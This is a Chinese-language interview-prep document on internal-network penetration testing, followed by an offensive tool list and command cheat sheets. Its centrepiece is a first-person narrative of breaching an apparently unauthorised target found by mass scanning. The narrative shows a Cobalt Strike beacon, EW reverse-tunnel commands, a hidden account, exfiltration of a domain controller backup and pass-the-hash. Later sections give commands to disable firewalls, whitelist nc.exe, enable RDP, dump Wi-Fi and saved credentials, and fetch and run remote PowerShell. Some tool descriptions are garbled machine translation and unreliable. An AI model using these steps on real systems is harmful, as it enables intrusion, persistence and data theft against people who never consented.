数据渗透#
本分类包含各种数据渗透技术和方法,用于从目标系统中提取敏感数据。
第一章 内网#
一、说一下你的内网渗透测试思路#
内网渗透测试的思路可以分为以下几个步骤:#
1. 环境准备:在进行内网渗透测试之前,需要先了解目标内网的情况,包括 IP 地址、子网掩码、网关、DNS、域名信息等。同时,还需#
要准备测试环境,例如 Kali Linux 等渗透测试工具和平台。
2. 主机发现:在内网中,需要先进行主机发现,确定内网中存活的主机和服务。可以使用 Nmap 等扫描工具来进行主机发现和端口扫
描。
3. 漏洞扫描:在确定内网中的主机和服务后,需要对其进行漏洞扫描,以便找出存在漏洞的主机和服务。可以使用 Nessus、OpenVAS 等
漏洞扫描工具来进行漏洞扫描。
4. 漏洞利用:在找到存在漏洞的主机和服务后,需要进行漏洞利用,尝试获取更高的权限。可以使用 Metasploit、Empire、PowerSploit
等工具进行漏洞利用。
5. 横向移动:在获取了初始权限后,可以进行横向移动,尝试获取其他主机的权限。可以使用 Mimikatz 等工具来获取密码,使用
PsExec、WinRM 等工具来进行横向移动。
6. 数据收集:在获取了更高的权限后,可以进行数据收集,获取敏感信息。可以使用 BloodHound、PowerView 等工具来收集域信息,
使用 LaZagne、Cobalt Strike 等工具来收集密码和敏感信息。
7. 持久化:在获取了敏感信息后,需要进行持久化,确保能够长期地访问目标系统。可以使用 Cobalt Strike、Empire 等工具进行持久
化,例如创建后门、添加计划任务等。
8. 消除痕迹:在完成渗透测试后,需要消除痕迹,以免被对方发现。可以使用 BleachBit、sdelete 等工具来清除日志和痕迹。二、说一下你印象最深的一次内网渗透经历?#
因为主要还是想练习练习内网,所以用了最简单粗暴的方法去找寻找目标,利用fofa来批量了一波weblogic,不出一会便找到了目标。
简#
单的看了下机器环境,出网,没有杀软(后面发现实际是有一个很小众的防火墙的,但是不拦powershell),有内网环境。 所以这里直接 尝试cs自带的Scripted Web Delivery模块,直接创建一个web服务用于一键下载和执行powershell。
运行刚刚生成的powershell这边的CS成功上线。#
这里我们先来看#
看系统的信息。#
根据上面的可知服务器是 2012 的,内网IP段在#
192.168.200.x 接着用Ladon扫了下内网环境。
这个内网段机器不多,可以看出有域环境。接着进行了多网卡检测,web检测。
可以看出这个内#
网有多个网段,开了一个web服务。 mimikatz只读到了一个用户跟加密的密码
密码可以在CMD5上解开#
接下来就到最激动人心的扫描MS17010时刻!!!#
可以看出有几台机器是可能存在MS17010的,所以打算开个socks代理直接MSF去打。 这里笔者劝大家买服务器的时候,尽量买按量计费 的服务器,不要像笔者一样,贪图一时便宜,买了个带宽只有1M的HK服务器,CS自带的socks代理开了,本地测试连接都失败,更别说其 他操作了。 所以这里,笔者只能临时开了个按量计费的服务器,利用EW重新开了一条隧道出来。具体流程如下: 把ew文件丢上刚刚开的 服务器,执行:ew -s rcsocks -l 1900 -e 1200来配置一个转接隧道,意思就是将 1900 端口收到的代理请求转交给反连 1200 端口的主机
接着在目标机器上上传#
ew文件,执行:ew -s rssocks -d xxx.xxx.xxx.xxx(上方创建的服务器IP) -e 1200,开启目标主机socks5服务并反向连接到中转机器的 1200 端口,执行完稍等会就可以看到多了一行连接完成。
接着只需要在本地配置#
下代理就OK了。 Windows程序的话一般用sockscap配置以下这个代理就好了。
因为我们要用的是本#
地虚拟机里面的kali的MSF,kali的代理配置比较方便,先vim /etc/proxychains.conf ,在最下面加上代理
保存后直接#
proxychains 加上要启动的程序就挂上代理了。 比如我们msf要挂代理,就直接:proxychains msfconsole 内网之路永远是那么坎坷,在 经历了一番换EXP,换工具+摇人之后,确定了MS17010确实是利用不了。 既然捷径走不了,那么换一条路,从web入手。
试了下弱口令注入啥的,没成功,谷歌翻译都翻译不过来,就算进了后台估计也看不懂,还是找#
其他途径吧。 于是进一步开始信息搜集: 查看保存登陆凭证,无#
查看共享计算机列表 接着就开始尝试访问共享计算机的C盘#
在最后一台时,发#
现成功访问了 Ping一下机器得到IP 192.168.200.
右键一个beacon创建一个监听器#
接着使用psexec_psh尝试上线192.168.200.6这台服务器#
成功上线 接下来就对新上线的机器#
做一波信息搜集#
没有其他发现 接下来回到起点,看看这个网段里面还有哪些#
机器#
可以看到有四台linux机器,分别是22 , 1 , 5 , 11 这时候我们可以尝试一波弱口令。
只能说运气这玩意儿,用一点就少一点 简单的查看了进程之类的信息,没有发现,虽然这时候已经拿下了内网得两台机器,但是都不是域#
内机器,其他的linux主机测试弱口令又不正确,这时又陷入了僵局。 这时候,我看到先前拿下的.6的那台机器名为veeam backup,猜想这 可能是一台备份服务器,他的硬盘内可能有备份文件,所以仔细检查了一下他的每个文件夹内容。 只能说真的,运气这玩意,该来的时候 挡也挡不住。 在D盘的文件夹下,发现了一个叫Backup的文件夹,里面存放了三个机器的备份。 简单百度了下后缀,发现是一款叫 Veeam® Backup & Replication的软件,他的功能是专门为Vsphere等做备份。
一瞬间我的思路就清晰了,只需要在本地安装Veeam® Backup & Replication这软件,再将这台DC的全量备份包压缩传到本地,再恢复成虚 拟机,然后通过PE,用CMD.EXE重命名覆盖了OSK.exe,这样子就可以在登录界面调出system的命令行,再想办法添加管理员账户或者修改 管理员账户进入界面,本地上线CS,再进行hashdump直接读出存储的域内用户HASH,在通过Pth就可以直接拿下线上的DC了。 说干就 干,因为这台备份服务器不出网,但是他和 21 这台出网机器有一个共享文件夹,为了方便行事,偷偷在备份服务器上创建了一个隐藏账号, 直接7z把最新的一个DC全量备份压缩成700M一个的压缩包,全部放到了共享文件夹中。 出网的这台机器也只有 7001 端口出网,所以找到 了weblogic的web路径,从共享文件夹中把压缩包都放进了web路径中,从web端进行下载。由于这台出网机器的带宽实在是太低了,均速 200K,还不停的卡掉,在经过了漫长的等待后,终于下了下来。 在这漫长的下载过程中,我先一步本机下载下了Veeam® Backup & Replication这软件, 突然发现一个很有意思的地方,就是他可以支持本地管理员账号登录。
又因为他备份的是其他IP的虚拟机,我#
猜想他应该是登陆了Vsphere。 所以又一次挂代理连上去看看。果然猜的没错,芜湖起飞。。相当于管理员权限。。。
本地下载的那个全量备份在本地还原也很简单,只需要装了软件双击就回自动打开软件。#
还原完成#
接下来就简单了。下载老毛桃 ,生成一个ISO的pe工具箱
挂载到虚拟机中,开机按ESC#
进入PE后,重命名cmd.exe为osk.exe将原来C盘中的\windows\system32\osk.exe给覆盖了,这样子在开机的时候打开屏幕键盘就会弹出 SYSTEM权限的命令行。
这里直#
接添加用户出现了点问题。 最后#
将某个域用户修改密码后添加到本地管理员组成功进入了系统。 最后生成exe上线的时候,憨批防火墙终于起保护了。 给憨憨防火墙一个 正面图。
TMD在我本地虚拟机还跟我横?看我不把你关了。#
然而关闭要密码–算了算了,,忍一忍。 最后还是用最初的powershell上线了。
接着最有仪式感的一幕
最后只需要拿着hash去怼线上的DC就完事了。
三、内网渗透测试工具有哪些?#
11 款流行的渗透测试工具#
1. Burp Suite Pro#
Suite Pro是最流行,功能强大和最先进的笔测试工具之一,可以帮助笔测试者修复和利用漏洞,并确定其目标的更细微的盲点。它是各种高 级工具的“套件”,最适合于Web应用程序的渗透测试。
有两个版本-社区版提供必要的功能,例如拦截浏览器流量,管理侦察数据以及手动笔测试所需的带外功能,而专业版提供了一些高级功能, 例如扫描Web应用程序中的漏洞。
Burp Suite Pro具有几个功能,这些功能对于笔测试仪非常有用,例如下面列出的几个功能。
它具有功能强大的代理组件,该代理组件执行中间人攻击以拦截数据传输,并允许用户修改通过浏览器的HTTP(S)通信。
Burp Suite可以在手动测试期间帮助测试带外(OOB)漏洞(在传统的HTTP请求响应中无法检测到的那些漏洞)。
该工具通过自动发现功能来发现隐藏的目标功能。
该工具提供了更快的暴力破解和模糊测试功能,使笔测试人员能够部署包含有效负载集的HTTP请求的自定义序列,从而大大减少了花
在不同任务上的时间。
Burpsuite Pro提供了一项功能,可以轻松地为给定请求构造跨站点请求伪造(CSRF)概念证明(POC)攻击。
该工具还可以提供反映或存储的输入的视图,因此也便于进行更深入的手动测试。
通过App Store,可以访问由Burp用户编写和测试的数百个社区生成的插件。**用法—**最适合希望利用功能强大的自动化和高级手动测试工具来发现关键的应用程序及缺陷的专业人士和渗透测试人员。
母公司 - PortSwigger。
**平台-**受支持的平台包括macOS,Linux和Windows。
2. SQLmap#
SQLmap是一个开放源代码,但功能非常强大的渗透测试工具,专业的渗透测试人员可使用它来识别和利用影响不同数据库的SQL注入漏 洞。这是一个令人难以置信的渗透测试工具,它带有强大的检测引擎,可以通过单个命令检索珍贵的数据。
以下是SQLmap的一些流行和有益的功能:
使用基于字典的攻击,SQLmap可帮助自动识别密码哈希格式并支持破解它们。
它有效地搜索整个数据库中的特定数据库名称,表或列,这对于识别包含应用程序凭据的表很有用,这些凭据包含名称和通过等字符
串。
SQLmap支持在数据库服务器和攻击者计算机之间建立带外TCP连接,从而为用户提供交互式命令提示符或仪表计量器会话。
该工具支持从与其兼容的数据库中下载/上传任何文件。用法- 最佳用于检测和利用SQL注入漏洞并接管数据库服务器。
母公司 -GNU(通用公共许可证)中提供的开源工具。
平台 - MySQL,Oracle,PostgreSQL,Microsoft SQL Server,SQLite,Firebird,SAP MaxDB。
3.空袭#
Aircrack-ng是一种网络安全笔测试工具,它带有一系列实用程序,可评估Wi-Fi网络是否存在漏洞。它提供了监视,测试,攻击和破解的关键 操作。
该工具允许测试人员捕获数据包并将数据导出到文本文件,以供其他第三方工具进行进一步处理。它具有执行重播攻击,取消身份验证攻击 以及通过数据包注入创建虚假访问点的功能。该工具还有助于检查Wi-Fi卡和驱动程序功能,可用于破解WEP和WPA WPA( 1 和 2 )。
其他功能包括:
该工具以无需任何经过身份验证的客户端即可破解WEP和WPA-PSK的能力而闻名,它使用统计方法来破解WEP和蛮力攻击来破解WPA-
PSK。
Aircrack-ng是一个完整的套件,包括检测器,数据包嗅探器,分析工具以及WEP和WPA / WPA2-PSK破解程序。
Aircrack-ng套件包含诸如airodump-ng,aireplay-ng,aircrack-ng和airdecap-ng工具之类的工具。
Airodump-ng用于捕获原始802.11数据包。Airplay-ng用于将帧注入无线流量中,一旦捕获到足够的数据包,Aircrack-ng将其用于破解WEP和WPA-PSK密钥。
Airdecap-ng用于解密捕获的文件,也可以用于剥离无线标头。用途— 这是一套用于渗透测试人员入侵WI-FI网络的强大工具。它是一个命令行工具,允许自定义。
母公司 -GNU(通用公共许可证)中提供的开源工具。
平台- 受支持的平台包括Linux,OS X Solaris和Windows。
4. Wireshark#
Wireshark是必备的网络协议分析器。它广泛用于捕获实时网络流量以进行网络故障排除,包括延迟问题,数据包丢失和网络上的恶意活 动。它允许测试人员截取和分析通过网络传递的数据,并将其转换为人类可读的格式。
Wireshark的一些关键功能:
Wireshark具有强大的功能,可对多种协议进行深度检查。
它带有标准的三窗格数据包浏览器和强大的显示过滤器。
Wireshark允许通过GUI或通过TTY模式的TShark实用程序浏览数据。
它可以读取和写入不同的文件格式,例如tcpdump(libpcap),Pcap NG,Catapult DCT2000,Cisco Secure IDS iplog,Microsoft
Network Monitor,Network GeneralSniffer®(压缩和未压缩)等。
该工具为不同协议提供解密支持,包括IPsec,ISAKMP,Kerberos,SNMPv3,SSL / TLS,WEP和WPA / WPA2。
该工具还允许检查VOIP流量。用法- 最适合用于网络故障排除的管理员和用于分析敏感网络数据的笔测试仪。
母公司 -GNU(通用公共许可证)中提供的开源工具。
平台 -macOS,Linux,Solaris和Windows是一些受支持的平台。
5. Nmap#
Nmap是最好的和笔测试人员最喜欢的开源渗透测试工具之一,可帮助识别网络中的开放端口和漏洞。它还有助于确定网络上正在运行的设 备,并发现存在生命的主机。
该工具提供的其他功能包括:
使用端口扫描功能和版本检测引擎枚举开放端口,该版本检测引擎用于确定在已标识端口上运行的服务上的应用程序名称和版本号。
NMAP包含 2900 多个OS指纹,可用于确定基础主机的操作系统。
NMAP本质上是一个命令行实用程序,但是,它也提供了一个称为Zenmap GUI的GUI版本。
Nmap脚本引擎带有 170 多种NSE脚本和 20 个库,例如防火墙绕过,超级微型ipmi-conf,oracle-brute-stealth和ssl-heartbleed。
它提供了更好的IPv6支持,为在CIDR样式的地址范围,空闲扫描,并行反向DNS和更多的NSE脚本覆盖范围内进行更全面的网络扫描铺
平了道路。
NMAP提供了一些令人惊叹的高级扫描技术,例如绕过防火墙或WAF,可以帮助笔测试人员绕过网络外围实现的安全设备。**用法-**被笔测试人员认为是识别网络级漏洞的最佳工具。 母公司 - GNU(通用公共许可证)中提供的开源工具。 平台- 支持该工具的平台包括Linux,Microsoft Windows,FreeBSD,OpenBSD,Solaris,HP-UX,NetBSD,Sun OS和Amiga。
6. Metasploit#
Metasploit是一个渗透测试框架,被网络攻击者和道德黑客广泛使用。Metasploit项目有两个版本-开源子项目Metasploit Framework和许 可版本Metasploit Pro。
Metasploit Framework的最佳产品是利用可以针对远程目标计算机开发和执行的代码和有效负载。它提供了可以使用的命令行界面,但是测 试人员还可以购买Metasploit Pro,以获取高级功能和基于GUI的操作。
以下是Metasploit的一些关键功能:
Metasploit包括超过 1600 个利用 25 个平台的漏洞利用。
该工具大约有 500 个有效负载,其中包括:命令外壳有效负载以针对主机运行脚本。动态有效负载可生成独特的有效负载来规避防病毒
软件。Meterpreter有效负载可控制设备监视器,会话,上载和下载文件。静态有效负载,用于端口转发并支持网络之间的通信。
Metasploit提供开发后的模块,可用于深层渗透测试。这些模块允许笔测试人员收集有关被利用系统的更多信息,例如哈希转储或服务
枚举器。用途 -Metasploit最好用于要测试多个应用程序或系统的地方。
母公司 -Rapid7。
平台 -Metasploit已预安装在Kali Linux OS中。Windows和macOS也支持它。
7.哈希猫#
Hashcat是黑客和道德黑客社区使用的一种流行的开源密码破解工具。Hashcat猜测一个密码,对其进行哈希处理,然后将生成的哈希值与它 试图破解的哈希值进行比较。如果哈希值匹配,则我们知道密码。
密码表示形式主要与哈希键关联,例如WHIRLPOOL,RiceMD,NTMLv1,NTLMv2 MD5,SHA等。它将可读数据转换为混乱的代码,使其 他人难以解密数据。
Hashcat的其他功能:
它是快速,高效和多方面的。
Hashcat使笔测试仪可以同时破解多个哈希,并且可以基于最低优先级来配置和执行线程数。
它支持自动性能调整以及键空间排序马尔可夫链。
该工具带有内置的基准测试系统和集成的热看门狗。
它允许您实现 300 多个hashcat。
支持十六进制字符集和十六进制盐。
它支持分布式破解网络和 200 多种不同的哈希格式。**用法—**最适合系统恢复专家和笔测试来破解加密的密码。#
母公司 -MIT许可证中提供的开源工具。#
平台 - Linux,OS X和Windows是一些受支持的网络。
8. WPScan#
WPScan是一款开源WordPress安全扫描程序,可帮助扫描WordPress核心,插件和主题中的已知漏洞。它保留了WordPress平台漏洞的最 新数据库。WPScan是使用Ruby应用程序构建的,并且可以扫描目标中的漏洞,可以执行诸如这样的简单命令wpscan –url http://example. com。
以下是WPScan的一些功能:
WordPress枚举扫描可识别WordPress核心,插件和主题的准确版本。它还可以枚举在WordPress网站上活动的用户。
识别和检测公共可用的wp-config.php备份文件和其他数据库导出。
WPScan还可以帮助检测和破解弱密码,这可以通过将其通过WPScan密码词典或通过强制运行来实现。
WPScan还枚举WordPress网站上运行的主题和插件的版本信息,并提供与所标识版本相关的漏洞的信息。
其他功能包括暴露的错误日志,媒体文件枚举,易受攻击的Timthumb文件,上载目录列表,完整路径公开等等。用法— 运行WPScan的最快方法是在WordPress网站上或使用Docker映像安装其插件。
母公司- 开源工具,可在GitHub存储库上使用。
平台 - ArchLinux,Ubuntu,Fedora和Debian支持WPScan。
9. Nessus#
Nessus是功能强大且广受欢迎的网络漏洞扫描程序。由于其大量的漏洞签名库,它是漏洞扫描的最佳工具。在目标计算机上运行Nessus扫 描时,将识别该计算机上运行的服务并检测相关的漏洞,该工具还提供用于利用和修复它们的其他信息。
使用Nessus扫描仪可以改善安全状况,并确保在虚拟和云环境中具有更好的合规性。如果组织需要速度和准确性,则Nessus值得获得许 可。但是,Nessus Essentials允许您免费为每个扫描仪扫描环境多达 16 个IP地址。
以下是Nessus的一些有趣功能,可能会迫使您为您的组织尝试:
与其他漏洞评估工具相比,Nessus支持更多技术。这样就可以进行更全面的测试。
它有助于高速资产发现,并支持配置审核以及目标配置文件和恶意软件检测。
漏洞扫描-对系统加固和缺少修补程序进行无凭据的漏洞检测和凭据扫描。
该工具还支持敏感数据发现,可帮助进行漏洞分析。
Nessus附带有最大的漏洞库,该库会不断更新。
该工具通过针对性的电子邮件通知扫描结果,修复和建议来提供灵活且可自定义的报告。用途 - Nessus可用于多种目的-扫描操作设备,网络设备,虚拟机管理程序,数据库,平板电脑,Web服务器,电话和其他关键基础架构。
母公司- 成立
平台 - Nessus可以在Debian,MacOS,Ubuntu,FreeBSD,Windows,Oracle和Linux上运行。
10. MobSF#
MobSF(移动安全框架)是一个全面的,多合一的框架,用于笔测试,恶意软件分析以及不同平台上的移动应用程序的安全评估。它既可以 用于静态分析,也可以用于动态分析。它支持移动应用程序二进制文件,例如APK,XAPK,IPA和APPX,并带有内置API,可提供集成体 验。
以下是一些有用的功能:
MobSF是一种开源工具,可以与CI / CD或DEVSECOPS管道无缝集成。
该工具提供了对移动应用程序的自动静态分析,这意味着它可以分析源代码或二进制文件以发现关键漏洞。
该工具允许在真实设备或模拟器上进行动态分析。它通过执行应用程序进行扫描,并分析敏感数据访问,任何硬编码信息或不安全请
求。
它有助于识别与移动应用程序相关的漏洞,例如XXE,SSRF,路径遍历和IDOR。**用法-**同类最佳的自动化框架,用于扫描移动应用程序。
母公司- 开源工具,可下载。
平台- 支持的平台包括Android,iOS和Windows。
11.开膛手约翰密码破解者#
顾名思义,开膛手约翰(JTR)是一个密码破解和恢复工具,可帮助您找到系统上的弱密码并公开它们。该工具最初旨在通过字典攻击来测试#
密码强度,暴力加密/散列密码和破解密码。#
JTR是笔测试人员社区中最受欢迎的工具之一,它可以使用多种模式来加快密码破解过程。#
除此之外,它还具有其他各种功能,可以使组织受益匪浅。让我们看看其中的一些:#
自动检测加密密码使用的哈希算法。#
该工具可以基于各种哈希来破解不同的密码,这些哈希包括crypt密码哈希类型,Kerberos Andrew File System(Kerberos AFS)哈
希,取决于MD-4的密码哈希,Windows NT / 2000 / XP / 2003 LM类型的哈希,等等。 。
开膛手约翰将攻击分为三个主要类别,包括字典攻击,蛮力攻击和Rainbow表。
它提供至少三种模式-单一破解,单词列表和增量模式,以及允许用户通过配置文件定义自定义模式的外部模式。用法 - JTR是最适合初学者和专家的最佳密码安全审核和密码恢复工具之一。
母公司 - GNU(通用公共许可证)中提供的开源工具;专业版是专有的。
平台- 该工具最初是为Unix开发的,可以在 15 个不同的平台上运行。
内网信息收集 * 手动内网信息收集 * bat脚本信息收集 * 内网扫描 * * nbtscan * ICMP * ARP * kscan * fscan *#
ladon * ScanLine * Telnet * PowerSploit * Nishang 手动内网信息收集#
===========================================================================================================#
===========================================================================================================#
=== * 本机网络配置信息 ipconfig * 操作系统和版本信息 systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本” * 系统体系结构 echo %PROCESSOR_ARCHITECTURE% * 安装的软件及版本 wmic product get name,version powershell “Get-WmiObject -class win32_product | Select-Object -Property name,version” * 本机服务信息 wmic service list brief * 进程信息 tasklist wmic process list brief * 开机自启程序信息 wmic startup get command,caption * 计划任务信息 schtasks /query /fo LIST /v * 主机开 机时间信息 net statistics workstation * 用户列表信息 net user wmic useraccount get name,SID * 列出会话 net session * 端口列表 netstat -ano * 补丁列表 systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn * 共享列表 net share wmic share get name,path,status * 路由信息 route print * 查看防火墙状态 netsh firewall show state * 关闭防火墙 Windows server 2003:netsh firewall set opmode disable Windows server 2003之后:netsh firewall set opmode disable或netsh advfirewall set allprofiles state off * 查看防护墙配置 netsh firewall show config * 添加指定程序入站允许规则 Windows server 2003 及之前:netsh firewall add allowedprogram c:\nc.exe “allownc” enable Windows server 2003之后:netsh advfirewall firewall add rule name=“pass nc” dir=in action=allow program=“C:\nc.exe” * 添加指定程序出站允许规则 netsh advfirewall firewall add rule name=“Allownc” dir=out action=allow program=“C:\nc.exe” * 允许 3389 端口入站 netsh advfirewall firewall add rule name=“RemoteDesktop” protocol=TCP dir=in localport=3389 action=allow * 开启远程服务 server 2003:wmic path win32_terminalservicesetting where (_CLASS !=“”) call setallowtsconnections 1 server2008和 2021 : REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启 REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #关闭 * WIFI密码收集 for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear * 查询RDP端口 reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp” /V PortNumber * 查看代理配置信息 reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings” * 查看当前保存的登录凭证 cmdkey /l * ARP信息 arp -a * 查看最近打开的文档 dir %APPDATA%\Microsoft\Windows\Recent * 查询本机用户组 net localgroup * 查看 管理员组成员列表 net localgroup administrators * 查看RDP凭证 dir /a %userprofile%\AppData\Local\Microsoft\Credentials* * 杀毒软件查询 wmic /node:localhost /namespace:\root\securitycenter2 path antivirusproduct get displayname /format:list bat脚本 信息收集#
===========================================================================================================#
===========================================================================================================#
==== * @echo off 不显示后续命令及当前命令 * dir c:. >a.txt 将c盘文件写入a.txt * call c:*.bat 调用c盘的bat文件 * echo 123 输出123 * pause 等待按键继续,显示命令行窗口 * rem 111 注释111 * cd abc 进入abc目录 * 1.html 打开1.html * echo 123 >1.txt 输出 123 到1.txt * echo 456 »1.txt 追加 456 到1.txt 生成表格html for /f “delims=” %%A in (‘dir /s /b %WINDIR%\system32*htable.xsl’) do set “var=%%A” wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%” » out.html wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" » out.html wmic USERACCOUNT list full /format:"%var%" » out.html wmic group list full /format:"%var%" » out.html wmic nicconfig where IPEnabled=‘true’ get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" » out.html wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" » out.html wmic netuse list full /format:"%var%" » out.html wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" » out.html wmic startup get Caption,Command,Location,User /format:"%var%" » out.html wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" » out.html wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemD irectory /format:"%var%" » out.html wmic Timezone get DaylightName,Description,StandardName /format:"%var%" » out.html 内网扫描#
===========================================================================================================#
===========================================================================================================#
nbtscan ———————————————————————————————————————————————————————————-#
———————————————————————————————————————————————————————— 扫描Windows 网络上的NetBIOS名字信息。对给出范围内的每一个地址发送NetBIOS状态查询,列出响应的主机信息,可获取PC的真实IP地址和MAC地址
- nbtscan.exe 网段
ICMP ————————————————————————————————————————————————————————————–#
———————————————————————————————————————————————————————————————–#
—————————————————————————————————————————————————————– 依次对内网中的每个#
IP地址执行ping命令,快速找出内网存活主机 * for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.137.%I | findstr “TTL=”
ARP —————————————————————————————————————————————————————————————-#
———————————————————————————————————————————————————————————————–#
————————————————————————————————————————————————————– 使用ARP协议进行IP探#
测 * arp.exe -t 网段
kscan———————————————————————————————————————————————————————————————–#
———————————————————————————————————————————————————————————————–#
——————————————————————————————————————————————————— 资产测绘工具,可对指定资#
产进行端口扫描及TCP指纹识别和Banner抓取。能针对扫描结果进行自动化暴力破解 * kscan.exe -t 网段 –encoding gb
fscan ————————————————————————————————————————————————————————————–#
—————————————————————————————————————————————————————— 内网综合扫描工具。 支持主机存活探测、端口扫描、常见服务的爆破、计划任务反弹shell、读取win网卡信息、web漏洞扫描、域控识别等功能 * fscan.exe -h 192.168.137.0/
ladon ————————————————————————————————————————————————————————————–#
—————————————————————————————————————————————————————— 大型网络渗透的多线 程插件化综合扫描神器,含端口扫描、服务识别、密码爆破、高危漏洞检测以及一键GetShell等功能,Ladon支 持Cobalt Strike插件化扫描 快速拓展内网进行横向移动 * Ladon.exe 192.168.137.0/24 OnlinePC
ScanLine ———————————————————————————————————————————————————————————#
————————————————————————————————————————————————————————– windows下的 端口扫描命令行程序,可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度快,不需要winPcap库支持 * shell ScanLine.exe -bhpt 0-4000 192.168.137.
Telnet ----———————————————————————————————————————————————————————————————–#
———————————————————————————————————————————————————————————————–#
—————————————————————————————————————————————————— Telnet协议是TCP/IP协议簇的 一员,是Internet远程登录服务的标准协议和主要方式。可快速探测某台主机的某个常规高危端口是否开放 * telnet IP地址 端口 PowerSploit —————————————————————————————————————————————————————————–#
——————————————————————————————————————————————————————————— 基于 PowerShell的后渗透框架软件,包含很多PowerShell攻击脚本,用于渗透中的信息侦测,权限提升,权限维持等 * 本地执行 powershell -exec bypass Import-Module .\Invoke-Portscan.ps1;Invoke-Portscan -Hosts 网段 -ports ‘445,8080,3389,80’
* 无文件远程执行 powershell ‐execbypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString(‘远程服务器地址/Invoke‐Portscan.ps1’);import‐Module .\Invoke ‐Portscan.ps1;Invoke‐Portscan ‐Hosts 网段 ‐ports ‘445,8080,3389,80’ Nishang ——————————————————————————#
—————————————————————————– 针对PowerShell的渗透工具 * powershell Set-ExecutionPolicy remotesigned # 允许导入 powershell -command “& {import-module .\nishang\nishang.psm1;Invoke-PortScan -StartAddress 192.168.137.1 - EndAddress 192.168.137.31 -ResolveHost -ScanPort -Port 445 }” #导入模块扫描网段
* nishang文件夹放入CS目录进行导入 powershell-import .\nishang\nishang.psm1 powershell Invoke‐PortScan ‐StartAddress 192.168.137. ‐EndAddress 192.168.137.31 ‐ResolveHost -ScanPort
四、说一说常见的内网信息收集#
手动内网信息收集#
本机网络配置信息#
ipconfig
操作系统和版本信息
systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本”
系统体系结构
echo %PROCESSOR_ARCHITECTURE%
安装的软件及版本
wmic product get name,version
powershell “Get-WmiObject -class win32_product | Select-Object -Property name,version”
本机服务信息
wmic service list brief
进程信息
tasklist
wmic process list brief
开机自启程序信息
wmic startup get command,caption
计划任务信息
schtasks /query /fo LIST /v
主机开机时间信息
net statistics workstation
用户列表信息
net user
wmic useraccount get name,SID
列出会话
net session
端口列表
netstat -ano
补丁列表
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
共享列表
net share
wmic share get name,path,status
路由信息
route print
查看防火墙状态
netsh firewall show state
关闭防火墙
Windows server 2003:netsh firewall set opmode disableWindows server 2003之后:netsh firewall set opmode disable或netsh advfirewall set allprofiles state off
查看防护墙配置
netsh firewall show config
添加指定程序入站允许规则
Windows server 2003及之前:netsh firewall add allowedprogram c:\nc.exe “allownc” enable
Windows server 2003之后:netsh advfirewall firewall add rule name=“pass nc” dir=in action=allow program=“C:\nc.exe”
添加指定程序出站允许规则
netsh advfirewall firewall add rule name=“Allownc” dir=out action=allow program=“C:\nc.exe”
允许 3389 端口入站
netsh advfirewall firewall add rule name=“RemoteDesktop” protocol=TCP dir=in localport=3389 action=allow
开启远程服务
server 2003:wmic path win32_terminalservicesetting where (_CLASS !=“”) call setallowtsconnections 1
server2008和 2021 :
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #
开启
REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #
关闭
WIFI密码收集
for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles
%j key=clear
查询RDP端口
reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp” /V PortNumber
查看代理配置信息
reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings”
查看当前保存的登录凭证
cmdkey /l
ARP信息
arp -a
查看最近打开的文档
dir %APPDATA%\Microsoft\Windows\Recent
查询本机用户组
net localgroup
查看管理员组成员列表
net localgroup administrators
查看RDP凭证
dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
杀毒软件查询
wmic /node:localhost /namespace:\root\securitycenter2 path antivirusproduct get displayname /format:listbat脚本信息收集#
@echo off
不显示后续命令及当前命令
dir c:*.* >a.txt
将c盘文件写入a.txt
call c:*.bat
调用c盘的bat文件
echo 123
输出 123
pause
等待按键继续,显示命令行窗口
rem 111
注释 111
cd abc
进入abc目录
1.html
打开1.html
echo 123 >1.txt
输出 123 到1.txt
echo 456 >>1.txt
追加 456 到1.txt生成表格html
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get
Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >>
out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
